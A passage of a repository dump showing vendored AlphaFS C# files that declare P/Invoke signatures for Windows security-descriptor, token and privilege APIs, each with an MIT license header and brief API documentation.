apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetSecurityDescriptorControl(SafeGlobalMemoryBufferHandle pSecurityDescriptor, out SECURITY_DESCRIPTOR_CONTROL pControl, out uint lpdwRevision); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetSecurityDescriptorDacl.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// The GetSecurityDescriptorDacl function retrieves a pointer to the discretionary access control list (DACL) in a specified security descriptor. /// /// If the function succeeds, the function returns nonzero. /// If the function fails, it returns zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetSecurityDescriptorDacl(SafeGlobalMemoryBufferHandle pSecurityDescriptor, [MarshalAs(UnmanagedType.Bool)] out bool lpbDaclPresent, out IntPtr pDacl, [MarshalAs(UnmanagedType.Bool)] out bool lpbDaclDefaulted); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetSecurityDescriptorGroup.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// The GetSecurityDescriptorGroup function retrieves the primary group information from a security descriptor. /// /// If the function succeeds, the function returns nonzero. /// If the function fails, it returns zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetSecurityDescriptorGroup(SafeGlobalMemoryBufferHandle pSecurityDescriptor, out IntPtr pGroup, [MarshalAs(UnmanagedType.Bool)] out bool lpbGroupDefaulted); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetSecurityDescriptorLength.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// The GetSecurityDescriptorLength function returns the length, in bytes, of a structurally valid security descriptor. The length includes the length of all associated structures. /// /// If the function succeeds, the function returns the length, in bytes, of the SECURITY_DESCRIPTOR structure. /// If the SECURITY_DESCRIPTOR structure is not valid, the return value is undefined. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint GetSecurityDescriptorLength(SafeGlobalMemoryBufferHandle pSecurityDescriptor); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetSecurityDescriptorOwner.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// The GetSecurityDescriptorOwner function retrieves the owner information from a security descriptor. /// /// If the function succeeds, the function returns nonzero. /// If the function fails, it returns zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetSecurityDescriptorOwner(SafeGlobalMemoryBufferHandle pSecurityDescriptor, out IntPtr pOwner, [MarshalAs(UnmanagedType.Bool)] out bool lpbOwnerDefaulted); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetSecurityDescriptorSacl.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// The GetSecurityDescriptorSacl function retrieves a pointer to the system access control list (SACL) in a specified security descriptor. /// /// If the function succeeds, the function returns nonzero. /// If the function fails, it returns zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetSecurityDescriptorSacl(SafeGlobalMemoryBufferHandle pSecurityDescriptor, [MarshalAs(UnmanagedType.Bool)] out bool lpbSaclPresent, out IntPtr pSacl, [MarshalAs(UnmanagedType.Bool)] out bool lpbSaclDefaulted); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetSecurityInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; using Microsoft.Win32.SafeHandles; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// The GetSecurityInfo function retrieves a copy of the security descriptor for an object specified by a handle. /// /// If the function succeeds, the function returns nonzero. /// If the function fails, it returns zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint GetSecurityInfo(SafeFileHandle handle, SE_OBJECT_TYPE objectType, SECURITY_INFORMATION securityInfo, out IntPtr pSidOwner, out IntPtr pSidGroup, out IntPtr pDacl, out IntPtr pSacl, out SafeGlobalMemoryBufferHandle pSecurityDescriptor); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.GetTokenInformation.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// The GetTokenInformation function retrieves a specified type of information about an access token. The calling process must have appropriate access rights to obtain the information. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, the return value is zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [SuppressUnmanagedCodeSecurity] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool GetTokenInformation(SafeTokenHandle tokenHandle, [MarshalAs(UnmanagedType.U4)] TOKEN_INFORMATION_CLASS tokenInformationClass, SafeGlobalMemoryBufferHandle tokenInformation, [MarshalAs(UnmanagedType.U4)] uint tokenInformationLength, [MarshalAs(UnmanagedType.U4)] out uint returnLength); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.LocalFree.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// Frees the specified local memory object and invalidates its handle. /// /// If the function succeeds, the return value is null. /// If the function fails, the return value is equal to a handle to the local memory object. To get extended error information, call GetLastError. /// /// SetLastError is set to false. /// /// Note The local functions have greater overhead and provide fewer features than other memory management functions. /// New applications should use the heap functions unless documentation states that a local function should be used. /// For more information, see Global and Local Functions. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("kernel32.dll", SetLastError = false, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] internal static extern IntPtr LocalFree(IntPtr hMem); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.LookupPrivilegeDisplayName.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; using System.Text; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// The LookupPrivilegeDisplayName function retrieves the display name that represents a specified privilege. /// /// If the function succeeds, the return value is nonzero. /// If the function fails, it returns zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "LookupPrivilegeDisplayNameW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool LookupPrivilegeDisplayName([MarshalAs(UnmanagedType.LPWStr)] string lpSystemName, [MarshalAs(UnmanagedType.LPWStr)] string lpName, ref StringBuilder lpDisplayName, ref uint cchDisplayName, out uint lpLanguageId); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.LookupPrivilegeValue.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// The LookupPrivilegeValue function retrieves the locally unique identifier (LUID) used on a specified system to locally represent the specified privilege name. /// /// If the function succeeds, the function returns nonzero. /// If the function fails, it returns zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "LookupPrivilegeValueW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool LookupPrivilegeValue([MarshalAs(UnmanagedType.LPWStr)] string lpSystemName, [MarshalAs(UnmanagedType.LPWStr)] string lpName, out LUID lpLuid); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.OpenProcessToken.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// The OpenProcessToken function opens the access token associated with a process. /// /// If the function succeeds, the function returns nonzero. /// If the function fails, it returns zero. To get extended error information, call GetLastError. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [SuppressUnmanagedCodeSecurity] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)] [return: MarshalAs(UnmanagedType.Bool)] internal static extern bool OpenProcessToken(IntPtr processHandle, [MarshalAs(UnmanagedType.U4)] TOKEN desiredAccess, out SafeTokenHandle tokenHandle); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.SetNamedSecurityInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// The SetNamedSecurityInfo function sets specified security information in the security descriptor of a specified object. The caller identifies the object by name. ///   /// /// If the function succeeds, the function returns ERROR_SUCCESS. /// If the function fails, it returns a nonzero error code defined in WinError.h. /// ///   /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] /// /// [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode, EntryPoint = "SetNamedSecurityInfoW"), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint SetNamedSecurityInfo([MarshalAs(UnmanagedType.LPWStr)] string pObjectName, SE_OBJECT_TYPE objectType, SECURITY_INFORMATION securityInfo, IntPtr pSidOwner, IntPtr pSidGroup, IntPtr pDacl, IntPtr pSacl); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Methods/NativeMethods.SetSecurityInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Runtime.InteropServices; using System.Security; using Microsoft.Win32.SafeHandles; namespace Alphaleonis.Win32.Security { internal static partial class NativeMethods { /// The SetSecurityInfo function sets specified security information in the security descriptor of a specified object. /// The caller identifies the object by a handle. /// /// If the function succeeds, the function returns ERROR_SUCCESS. /// If the function fails, it returns a nonzero error code defined in WinError.h. /// /// Minimum supported client: Windows XP [desktop apps only] /// Minimum supported server: Windows Server 2003 [desktop apps only] [SuppressMessage("Microsoft.Security", "CA2118:ReviewSuppressUnmanagedCodeSecurityUsage"), SuppressMessage("Microsoft.Security", "CA5122:PInvokesShouldNotBeSafeCriticalFxCopRule")] [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode), SuppressUnmanagedCodeSecurity] [return: MarshalAs(UnmanagedType.U4)] internal static extern uint SetSecurityInfo(SafeFileHandle handle, SE_OBJECT_TYPE objectType, SECURITY_INFORMATION securityInfo, IntPtr psidOwner, IntPtr psidGroup, IntPtr pDacl, IntPtr pSacl); } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Security/Native Other/Luid.cs ================================================ /* Copyright (C) 